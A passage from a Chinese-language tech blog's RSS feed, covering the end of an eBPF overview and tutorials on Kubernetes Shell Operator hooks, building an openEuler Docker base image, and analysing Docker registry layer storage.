&lt;p&gt;行文至此，我希望读者已经对 eBPF 有了一个最基础的了解，知道了他的重要性以及基本原理。是时候浏览更多技术文档和文章了。本文中提供了不少链接，不过这里最推荐的是 &lt;a href=&#34;https://qmonnet.github.io/whirl-offload/2016/09/01/dive-into-bpf/&#34; target=&#34;_blank&#34;&gt;Quinten Monnet&lt;/a&gt; 的博客。&lt;/p&gt;

&lt;p&gt;自行编写代码，开发自己的 eBPF 可能有点难。但是很多开源的开发工具链正在涌现，简化了很多 eBPF 的相关场景。下面介绍几个最流行的：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://github.com/iovisor/bcc&#34; target=&#34;_blank&#34;&gt;BCC&lt;/a&gt;：BCC 是一个工具包用于创建高效的内核跟踪和处理程序，并包含了很多有用的工具和示例。BCC 简化了 BPF 程序的开发，内核指令使用 C 指令（包含了 LLVM 的封装），前端使用的是 Python 和 LUA。BCC 有很多用途，例如性能分析和网络流量控制。BCC 还为其它程序提供了 API。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://github.com/ajor/bpftrace&#34; target=&#34;_blank&#34;&gt;bpftrace&lt;/a&gt;：BPFtrace 是一个高级跟踪语言，用 LLVM 作为后端把脚本编译为 BPF 字节码，并用 BCC 和 Linux BPF 系统进行交互，并支持现有的 Linux 跟踪能力：kprobe、uprobe 以及 &lt;code&gt;tracepoint&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://github.com/iovisor/gobpf&#34; target=&#34;_blank&#34;&gt;Go&lt;/a&gt;、&lt;a href=&#34;https://github.com/libbpf/libbpf&#34; target=&#34;_blank&#34;&gt;C/C++&lt;/a&gt; 以及 &lt;a href=&#34;https://github.com/redsift/redbpf&#34; target=&#34;_blank&#34;&gt;Rust&lt;/a&gt; 的通用库。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;eBPF 还是个很新鲜的技术，让程序员在不修改内核空间的情况下，能够在内核中执行自定义的字节码并从内核函数中获取更多信息。原本这些目标需要通过系统调用或内核模块来完成，eBPF 降低了所需的复杂度和危险性。简单来说，eBPF 的工作流程：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;把 eBPF 程序编译成字节码。&lt;/li&gt;
&lt;li&gt;在载入到 Hook 之前，在虚拟机中对程序进行校验。&lt;/li&gt;
&lt;li&gt;把程序附加到内核之中，被特定事件触发。&lt;/li&gt;
&lt;li&gt;JIT 编译。&lt;/li&gt;
&lt;li&gt;在程序被触发时，调用辅助函数处理数据。&lt;/li&gt;
&lt;li&gt;在用户空间和内核空间之间使用键值对共享数据。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;推荐阅读&#34;&gt;推荐阅读&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gravitational.com/blog/scp-familiar-simple-insecure-slow/&#34; target=&#34;_blank&#34;&gt;SCP - Familiar, Simple, Insecure, and Slow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gravitational.com/blog/teleport-discovery-protocol/&#34; target=&#34;_blank&#34;&gt;Greed is Good: Creating Teleport’s Discovery Protocol&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://gravitational.com/blog/golang-ssh-bastion-graceful-restarts/&#34; target=&#34;_blank&#34;&gt;Gracefully Restarting a Go Program Without Downtime&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;What is eBPF and How Does it Work?&lt;/strong&gt;：&lt;code&gt;https://gravitational.com/blog/what-is-ebpf/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Virag Mody&lt;/strong&gt;：&lt;code&gt;https://www.linkedin.com/in/virag-mody-650974a9&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EVM Assembler&lt;/strong&gt;：&lt;code&gt;https://medium.com/mycrypto/the-ethereum-virtual-machine-how-does-it-work-9abac2b7c9e&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cilium&lt;/strong&gt;：&lt;code&gt;https://cilium.io/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linux Weekly News&lt;/strong&gt;：&lt;code&gt;https://lwn.net/Articles/740157/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Brenden Gregg 的网站&lt;/strong&gt;：&lt;code&gt;http://www.brendangregg.com/index.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cilium 文档&lt;/strong&gt;：&lt;code&gt;https://docs.cilium.io/en/stable/bpf/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Linux 内核模块（LKM）&lt;/strong&gt;：&lt;code&gt;https://tldp.org/LDP/lkmpg/2.6/html/lkmpg.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;what is ebpf 1&lt;/strong&gt;：&lt;code&gt;image/what-is-ebpf-1.png&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;what is ebpf 2&lt;/strong&gt;：&lt;code&gt;images/what-is-ebpf-2.png&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verifier&lt;/strong&gt;：&lt;code&gt;https://github.com/torvalds/linux/blob/master/kernel/bpf/verifier.c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;名单&lt;/strong&gt;：&lt;code&gt;https://man7.org/linux/man-pages/man7/bpf-helpers.7.html&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;LLVM&lt;/strong&gt;：&lt;code&gt;https://llvm.org/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clang&lt;/strong&gt;：&lt;code&gt;https://clang.llvm.org/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内核 Verifier&lt;/strong&gt;：&lt;code&gt;https://elixir.bootlin.com/linux/latest/source/kernel/bpf/verifier.c&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;what-is-ebpf-3.png&lt;/strong&gt;：&lt;code&gt;images/what-is-ebpf-3.png&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Teleport&lt;/strong&gt;：&lt;code&gt;https://gravitational.com/teleport&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Teleport 4.2&lt;/strong&gt;：&lt;code&gt;https://gravitational.com/blog/teleport-release-4-2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;what-is-ebpf-4.png&lt;/strong&gt;：&lt;code&gt;images/what-is-ebpf-4.png&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Python 代码&lt;/strong&gt;：&lt;code&gt;https://github.com/iovisor/bcc/blob/ec3747ed6b16f9eec36a204dfbe3506d3778dcb4/tools/tcpconnect.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;bcc 的 BPF 库&lt;/strong&gt;：&lt;code&gt;https://github.com/iovisor/bcc/blob/master/src/cc/export/helpers.h&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quinten Monnet&lt;/strong&gt;：&lt;code&gt;https://qmonnet.github.io/whirl-offload/2016/09/01/dive-into-bpf/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BCC&lt;/strong&gt;：&lt;code&gt;https://github.com/iovisor/bcc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;bpftrace&lt;/strong&gt;：&lt;code&gt;https://github.com/ajor/bpftrace&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Go&lt;/strong&gt;：&lt;code&gt;https://github.com/iovisor/gobpf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;C/C++&lt;/strong&gt;：&lt;code&gt;https://github.com/libbpf/libbpf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rust&lt;/strong&gt;：&lt;code&gt;https://github.com/redsift/redbpf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SCP - Familiar, Simple, Insecure, and Slow&lt;/strong&gt;：&lt;code&gt;https://gravitational.com/blog/scp-familiar-simple-insecure-slow/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Greed is Good: Creating Teleport’s Discovery Protocol&lt;/strong&gt;：&lt;code&gt;https://gravitational.com/blog/teleport-discovery-protocol/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gracefully Restarting a Go Program Without Downtime&lt;/strong&gt;：&lt;code&gt;https://gravitational.com/blog/golang-ssh-bastion-graceful-restarts/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个不太小的工具：Shell Operator</title>
      <link>/post/shell-operator/</link>
      <pubDate>Sat, 07 Nov 2020 11:29:44 +0800</pubDate>
      <guid>/post/shell-operator/</guid>
      <description>

&lt;p&gt;&lt;a href=&#34;https://github.com/flant/shell-operator#kubernetes&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;Shell Operator&lt;/code&gt;&lt;/a&gt; 是个冷僻又有点用的东西。这个工具的角度比较刁钻——使用的特定事件来触发 Shell 脚本。&lt;/p&gt;

&lt;p&gt;这个工具的使用方式也很有趣，要定义某个任务：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;编写任务脚本&lt;/li&gt;
&lt;li&gt;使用它的基础镜像，加入任务脚本，打包生成一个 Docker 镜像并推送&lt;/li&gt;
&lt;li&gt;把镜像部署到集群之中&lt;/li&gt;
&lt;li&gt;对应事件出现时，将执行该任务脚本。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;触发方法&#34;&gt;触发方法&lt;/h2&gt;

&lt;p&gt;Shell Operator 支持多种事件触发，包括 Kubernetes、启动时执行以及定期执行。&lt;/p&gt;

&lt;p&gt;定期执行方式可以使用类似 Crontab 的语法，定义特定时间内执行指定脚本。&lt;/p&gt;

&lt;p&gt;启动时执行只会执行一次。&lt;/p&gt;

&lt;p&gt;Kubernetes 事件触发条件和 Admission Webhook 类似，但是更加细致，支持多种对象的 &lt;code&gt;Added&lt;/code&gt;、&lt;code&gt;Modified&lt;/code&gt;、&lt;code&gt;Deleted&lt;/code&gt; 操作。可以根据名称、标签、特定字段、命名空间进行过滤，还可以使用 jq 语法进行进一步的过滤。&lt;/p&gt;

&lt;h2 id=&#34;写个脚本&#34;&gt;写个脚本&lt;/h2&gt;

&lt;p&gt;项目 &lt;code&gt;README.md&lt;/code&gt; 就提供了一个简单的例子，大致体现了 Shell Operator 的功能和用法。&lt;/p&gt;

&lt;p&gt;首先生成一个脚本文件，并设置权限为可执行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/usr/bin/env bash

if [[ $1 == &amp;quot;--config&amp;quot; ]] ; then
  cat &amp;lt;&amp;lt;EOF
configVersion: v1
kubernetes:
- apiVersion: v1
  kind: Pod
  executeHookOnEvent: [&amp;quot;Added&amp;quot;]
EOF
else
  podName=$(jq -r .[0].object.metadata.name $BINDING_CONTEXT_PATH)
  echo &amp;quot;Pod &#39;${podName}&#39; added&amp;quot;
fi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个小脚本体现了 Hook 的基本用法，如果使用 &lt;code&gt;--config&lt;/code&gt; 参数启动，则会输出一个 YAML 格式的配置文件，其中表明该脚本会在 Kubernetes 中加入新的 Pod 时候触发。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;configVersion: v1
kubernetes:
- apiVersion: v1
  kind: Pod
  executeHookOnEvent: [&amp;quot;Added&amp;quot;]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在无参数启动时，则会运行这个 Hook 的主逻辑，在 Hook 被触发时，会把触发时的上下文内容以 JSON 的形式保存到一个文件，文件名会保存到 &lt;code&gt;$BINDING_CONTEXT_PATH&lt;/code&gt;。这里会用 &lt;code&gt;jq&lt;/code&gt; 从文件的 JSON 中获取 Pod 名称，并展示出来。&lt;/p&gt;

&lt;h2 id=&#34;构建镜像并运行&#34;&gt;构建镜像并运行&lt;/h2&gt;

&lt;p&gt;项目提供了一个基础镜像 &lt;code&gt;flant/shell-operator:latest&lt;/code&gt;，其中内置了 &lt;code&gt;bash&lt;/code&gt;、&lt;code&gt;kubectl&lt;/code&gt;、&lt;code&gt;jq&lt;/code&gt; 以及 &lt;code&gt;shell-operator&lt;/code&gt; 的可执行文件。把脚本加入镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-dockerfile&#34;&gt;FROM flant/shell-operator:latest
ADD pods-hook.sh /hooks
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;构建镜像并推送到镜像库之后，为了让任务正常运行，要给它创建命名空间以及具备合适权限的 &lt;code&gt;ServiceAccount&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create namespace example-monitor-pods
...
$ kubectl create serviceaccount monitor-pods-acc \
    --namespace example-monitor-pods
...
$ kubectl create clusterrole monitor-pods \
    --verb=get,watch,list --resource=pods
...
$ kubectl create clusterrolebinding monitor-pods \
    --clusterrole=monitor-pods \
    --serviceaccount=example-monitor-pods:monitor-pods-acc
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;monitor-pods-acc&lt;/code&gt; 具备了对 &lt;code&gt;Pod&lt;/code&gt; 对象进行 &lt;code&gt;get&lt;/code&gt;、&lt;code&gt;watch&lt;/code&gt; 以及 &lt;code&gt;list&lt;/code&gt; 操作的能力。我们用这个 &lt;code&gt;ServiceAccount&lt;/code&gt; 以及前面生成的镜像，生成一个 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Pod
metadata:
  name: shell-operator
  namespace: example-monitor-pods
  annotations:
    prometheus.io/scrape: &#39;true&#39;
    prometheus.io/port: &#39;9115&#39;
spec:
  containers:
  - name: shell-operator
    image: dustise/shell-operator:monitor-pods
    imagePullPolicy: Always
  serviceAccountName: monitor-pods-acc
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;触发-hook&#34;&gt;触发 Hook&lt;/h2&gt;

&lt;p&gt;这个 Pod 启动之后，新建一个 Deployment，再看 Hook 的日志：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create deployment sleep  --image=dustise/sleep:v0.9.5
deployment.apps/sleep created
$ kubectl logs -f shell-operator  -n example-monitor-pods
...
{&amp;quot;binding&amp;quot;:&amp;quot;kubernetes&amp;quot;,&amp;quot;event&amp;quot;:&amp;quot;kubernetes&amp;quot;,&amp;quot;hook&amp;quot;:&amp;quot;pods-hook.sh&amp;quot;,&amp;quot;level&amp;quot;:&amp;quot;info&amp;quot;,&amp;quot;msg&amp;quot;:&amp;quot;Pod &#39;sleep-84d5994d88-qnc7c&#39; added&amp;quot;,&amp;quot;output&amp;quot;:&amp;quot;stdout&amp;quot;,&amp;quot;queue&amp;quot;:&amp;quot;main&amp;quot;,&amp;quot;task&amp;quot;:&amp;quot;HookRun&amp;quot;,&amp;quot;time&amp;quot;:&amp;quot;2020-11-07T15:46:21Z&amp;quot;}
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;监控信息&#34;&gt;监控信息&lt;/h2&gt;

&lt;p&gt;细心的读者会看到，前面的 Pod 包含了一个 Prometheus 的注解，如果打开 Prometheus 就会看到其中多出了一系列 &lt;code&gt;shell_operator_hook&lt;/code&gt; 前缀的监控指标，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;shell_operator_tasks_queue_action_duration_seconds_bucket{queue_action=&amp;quot;AddLast&amp;quot;,queue_name=&amp;quot;main&amp;quot;,le=&amp;quot;0&amp;quot;} 0
shell_operator_tasks_queue_action_duration_seconds_bucket{queue_action=&amp;quot;AddLast&amp;quot;,queue_name=&amp;quot;main&amp;quot;,le=&amp;quot;1e-06&amp;quot;} 0
shell_operator_tasks_queue_action_duration_seconds_bucket{queue_action=&amp;quot;AddLast&amp;quot;,queue_name=&amp;quot;main&amp;quot;,le=&amp;quot;2e-06&amp;quot;} 0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;并且，Shell Operator 还支持加入自定义的监控指标，只要将指标写入文件，并把文件名保存到 &lt;code&gt;$METRICS_PATH&lt;/code&gt; 环境变量之中就可以。&lt;/p&gt;

&lt;h2 id=&#34;用途&#34;&gt;用途&lt;/h2&gt;

&lt;p&gt;这东西非常适合急救——在一些特殊场合，根据特定条件，对指定对象进行一些操作，例如注解、标签、清除、重启等。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>做个 openEuler 的系统镜像</title>
      <link>/post/openeuler-docker-image/</link>
      <pubDate>Thu, 05 Nov 2020 14:26:49 +0800</pubDate>
      <guid>/post/openeuler-docker-image/</guid>
      <description>

&lt;p&gt;前几天突然想知道，操作系统镜像是怎么搞的。放狗搜了一下，发现&lt;a href=&#34;https://docs.docker.com/develop/develop-images/baseimages/&#34; target=&#34;_blank&#34;&gt;官网&lt;/a&gt;提供了一些这方面的介绍，看来很轻松，结合以前翻译的&lt;a href=&#34;https://blog.fleeto.us/post/how-are-docker-images-built/&#34; target=&#34;_blank&#34;&gt;镜像是怎样炼成的&lt;/a&gt;，一时手痒，就想用菊厂操作系统新秀 openEuler 练练手——恩是 openEuler 不是那啥。&lt;/p&gt;

&lt;p&gt;根据 Docker 官网介绍，几个流行操作系统都有自己的构建脚本，主要流程就是几个步骤：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;安装操作系统&lt;/li&gt;
&lt;li&gt;安装工具依赖项目&lt;/li&gt;
&lt;li&gt;运行脚本构建镜像&lt;/li&gt;
&lt;li&gt;获取镜像&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;openEuler 安装之后，可以看到是个 Yum 系的系统，所以可以参考一下 &lt;a href=&#34;https://github.com/moby/moby/blob/master/contrib/mkimage-yum.sh&#34; target=&#34;_blank&#34;&gt;CentOS 的脚本&lt;/a&gt;，粗看上来，依赖并不复杂，&lt;code&gt;yum&lt;/code&gt;、&lt;code&gt;docker&lt;/code&gt; 以及 &lt;code&gt;tar&lt;/code&gt;。撸起袖子开工就是了。&lt;/p&gt;

&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;

&lt;p&gt;在 openEuler 官网下载 ISO 文件：&lt;code&gt;https://openeuler.org/en/download/&lt;/code&gt;。这里我选择了 LTS 的最小化版本。使用 Parallels Desktop 安装虚拟机，安装之后对几个依赖进行验证。&lt;/p&gt;

&lt;p&gt;首先发现这个系统可能因为某些原因并没有内置 Repo 源，个人用户自然无需担心这个问题，在 &lt;code&gt;/etc/yum.repos.d&lt;/code&gt; 中加入软件源：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;[openeuler]
name=openEuler
baseurl=https://repo.openeuler.org/openEuler-20.03-LTS/OS/x86_64/
enabled=1
gpgcheck=0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Docker 的安装也可以使用 CentOS 的源：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;[docker]
name=Docker CE Stable - $basearch
baseurl=https://download.docker.com/linux/centos/7/$basearch/stable
enabled=1
gpgcheck=0

[extra]
name=Extra
baseurl=http://mirror.centos.org/centos/7/extras/x86_64
enabled=1
gpgcheck=0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中的 Extra 库来自 CentOS，用于满足一些 Docker 的安装依赖。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;yum install docker-ce docker-ce-cli containerd.io --nobest&lt;/code&gt; 安装 Docker，之后就可以运行 部署脚本了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ./mkimage-yum.sh
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;不过虚拟机下运行成功并不是这么容易的，这个脚本的运行会在 &lt;code&gt;/tmp&lt;/code&gt; 中运行，大概需要 900MB 的磁盘空间，和 40k 左右的 inode。建议运行之前使用 &lt;code&gt;df -h -i&lt;/code&gt; 查看一下 &lt;code&gt;/tmp&lt;/code&gt; 的可用情况。openEuler 的缺省 &lt;code&gt;/tmp&lt;/code&gt; 较小，可以使用 &lt;code&gt;mount -o remount,size=15G /tmp/&lt;/code&gt; 调整。&lt;/p&gt;

&lt;p&gt;如果一切正常的话，会看到在大量的错误信息之后，看到一行输出：&lt;code&gt;success&lt;/code&gt;。这是脚本在生成镜像 TAR 文件，使用 Docker 加载并运行之后输出的。可以查看一下这个镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
openeuler           20.03               fe7ddc25c484        5 hours ago         1.57GB

$ docker run -it openeuler:20.03 bash

Welcome to 4.19.90-2003.4.0.0036.oe1.x86_64

System information as of time:  Thu Nov  5 08:56:29 UTC 2020

System load:    0.02
Processes:      5
Memory used:    7.3%
Swap used:      0.9%
Usage On:       9%
IP address:     172.17.0.2
Users online:   0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;另外，如果仔细点看上面提供的 YUM Repoistory，会发现一个&lt;a href=&#34;https://repo.openeuler.org/openEuler-20.03-LTS/docker_img/x86_64/&#34; target=&#34;_blank&#34;&gt;神奇的文件夹&lt;/a&gt;，其中包含了 x86 和 aarch64 两个架构的原厂镜像_所以本文仅供学习交流，不建议用于商业用途，请于 24 小时内忘掉。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Base Image&lt;/strong&gt;：&lt;code&gt;https://docs.docker.com/develop/develop-images/baseimages/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;构建脚本&lt;/strong&gt;：&lt;code&gt;https://github.com/moby/moby/blob/master/contrib/mkimage-yum.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;下载 ISO&lt;/strong&gt;：&lt;code&gt;https://openeuler.org/en/download/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;下载镜像&lt;/strong&gt;：&lt;code&gt;https://repo.openeuler.org/openEuler-20.03-LTS/docker_img/x86_64/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>节省镜像库空间的一个思路</title>
      <link>/post/which-image-should-be-removed/</link>
      <pubDate>Sun, 01 Nov 2020 19:33:05 +0800</pubDate>
      <guid>/post/which-image-should-be-removed/</guid>
      <description>

&lt;p&gt;最近遇到一个有趣的状况，某镜像仓库占用了大量的磁盘空间。通常要解决这种问题，给 Registry 发删除指令，并进行 GC 就可以了。然而很多时候，所有镜像都正常，在删除多个 Tag 甚至是 Repository 之后，问题仍然没能缓解，原理也很容易理解——删除的镜像虽然大，可能只是复用了一些比较大的层，删除镜像并不会真正的发出，所以还是需要对镜像库的存储进行更多的了解，进行进一步的统计，在层一级对镜像仓库进行分析，才能获取更有效的途径。&lt;/p&gt;

&lt;h2 id=&#34;docker-registry-exporter&#34;&gt;Docker Registry Exporter&lt;/h2&gt;

&lt;p&gt;首先发现了一个有意思的项目：&lt;a href=&#34;https://github.com/sky-uk/docker-registry-exporter&#34; target=&#34;_blank&#34;&gt;DockerRegistryExporter&lt;/a&gt;，这个项目是一个 Python 编写的 Prometheus Exporter，其中包含四个 Gauge：&lt;/p&gt;

&lt;p&gt;-&lt;code&gt;repository_tags_total&lt;/code&gt;：按镜像计算的 Tag 数量。
-&lt;code&gt;repository_revisions_total&lt;/code&gt;：按镜像计算的版本数量。
-&lt;code&gt;repository_tag_layers_total&lt;/code&gt;：以镜像和 Tag 计算的 Layer 数量。
-&lt;code&gt;repository_tag_size_bytes&lt;/code&gt;：以镜像和 Tag 计算的文件尺寸。&lt;/p&gt;

&lt;p&gt;该镜像使用挂卷的方式，直接对镜像库文件系统进行扫描，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;containers:
- image: registry:2
  name: registry
  ports:
  - containerPort: 5000
    name: http
    protocol: TCP
  readinessProbe:
    httpGet:
      path: /
      port: 5000
    initialDelaySeconds: 1
    timeoutSeconds: 1
  livenessProbe:
    httpGet:
      path: /
      port: 5000
    initialDelaySeconds: 1
    timeoutSeconds: 1
  volumeMounts:
  - name: storage
    mountPath: /var/lib/registry

- image: skyuk/docker-registry-exporter:v1.0.0
  name: registry-exporter
  args:
    - /var/lib/registry/docker/registry/v2
  ports:
  - containerPort: 8080
    name: http
    protocol: TCP
  volumeMounts:
  - name: storage
    mountPath: /var/lib/registry

volumes:
- name: storage
  persistentVolumeClaim:
    claimName: registry
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;通过Sidecar的部署方式和Registry容器共享文件系统，可以定时输出监控指标，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl http://registry:8080
# HELP repository_tag_size_bytes Size of eachtag
# TYPE repository_tag_size_bytes gauge
repository_tag_size_bytes{repository=&amp;quot;org/image1&amp;quot;, tag=&amp;quot;0.3.0&amp;quot;} 162749959.0
repository_tag_size_bytes{repository=&amp;quot;org/image2&amp;quot;, tag=&amp;quot;1009140546&amp;quot;} 226608092.0
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然而这并不能满足我的要求，关于引用的数据并没有体现，另外前面也提到，我们需要比较精确地获得镜像版本、Tag 和 Layer 之间的引用关系以及各自的尺寸，用 PromQL 有点别扭。&lt;/p&gt;

&lt;h2 id=&#34;我做了个奇怪的事情&#34;&gt;我做了个奇怪的事情&lt;/h2&gt;

&lt;p&gt;这并不是一个很常见的需求，只能是一个清理之前的准备动作，目前看来我需要找到的就是引用数量少、但是体量比较大的 Layer，但是谁知道以后会需要什么新的标准呢？干脆把这些东西写入到数据库里算了，把这些东西写入数据库之后，还掌握 SQL 这样传统才艺的程序员就可以随便搞一搞其它条件了。&lt;/p&gt;

&lt;h3 id=&#34;关于镜像仓库的一点基础&#34;&gt;关于镜像仓库的一点基础&lt;/h3&gt;

&lt;p&gt;镜像库根目录中有两个子目录：&lt;code&gt;blobs&lt;/code&gt; 中保存了所有的 Layer，而 &lt;code&gt;repositories&lt;/code&gt; 中则是以镜像为单位保存的元数据。&lt;/p&gt;

&lt;p&gt;首先看看镜像的数据&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ tree/org/repo/gameserver
.
├── revisions
│   └── sha256
│       └── ecfb0206e8b...
│           └── link
└── tags
    └── latest
        ├── current
        │   └── link
        └── index
            └── sha256
                └── ecfb020...
                    └── link
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;每个镜像的 Manifests 有两个目录，分别承载的是版本和 Tag，正常来说 Tag 和版本是一致的，但实际上在一些特别情况下，这两个数量可能是不一致的，就会导致只用 Tag 已经无法拉取该镜像，属于一种半孤立状态，应该说是需要清除的。&lt;/p&gt;

&lt;p&gt;两个目录中的&lt;code&gt;link&lt;/code&gt;文件中包含的是一个哈希码，可以使用这个哈希码在&lt;code&gt;_layers&lt;/code&gt;中查找到该镜像的版本/tag 对应的清单层，使用这个字符串可以在根&lt;code&gt;_layer&lt;/code&gt;中查到对应的目录，目录下面的&lt;code&gt;data&lt;/code&gt;文件中就是每个层的具体数据，对于清单层，其中会是一个&lt;code&gt;json&lt;/code&gt;字符串：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;schemaVersion&amp;quot;: 2,
    &amp;quot;mediaType&amp;quot;: &amp;quot;application/vnd.docker.distribution.manifest.v2+json&amp;quot;,
    &amp;quot;config&amp;quot;: {
        &amp;quot;mediaType&amp;quot;: &amp;quot;application/vnd.docker.container.image.v1+json&amp;quot;,
        &amp;quot;size&amp;quot;: 2694,
        &amp;quot;digest&amp;quot;: &amp;quot;sha256:7929bcd70e47d3726d55a870b2ca11c25792758f3ba8b4ff136811f0809af636&amp;quot;
    },
    &amp;quot;layers&amp;quot;: [
        {
            &amp;quot;mediaType&amp;quot;: &amp;quot;application/vnd.docker.image.rootfs.diff.tar.gzip&amp;quot;,
            &amp;quot;size&amp;quot;: 2546278,
            &amp;quot;digest&amp;quot;: &amp;quot;sha256:3db1cceb1cccb362634e914bfe76d329c64d148262a9e139a046337d82e1aeec&amp;quot;
        },
        {
            &amp;quot;mediaType&amp;quot;: &amp;quot;application/vnd.docker.image.rootfs.diff.tar.gzip&amp;quot;,
            &amp;quot;size&amp;quot;: 32,
            &amp;quot;digest&amp;quot;: &amp;quot;sha256:4f4fb700ef54461cfa02571ae0db9a0dc1e0cdb5577484a6d75e68dc38e8acc1&amp;quot;
        }
    ]
}
&lt;/code&gt;&lt;/pre&gt;

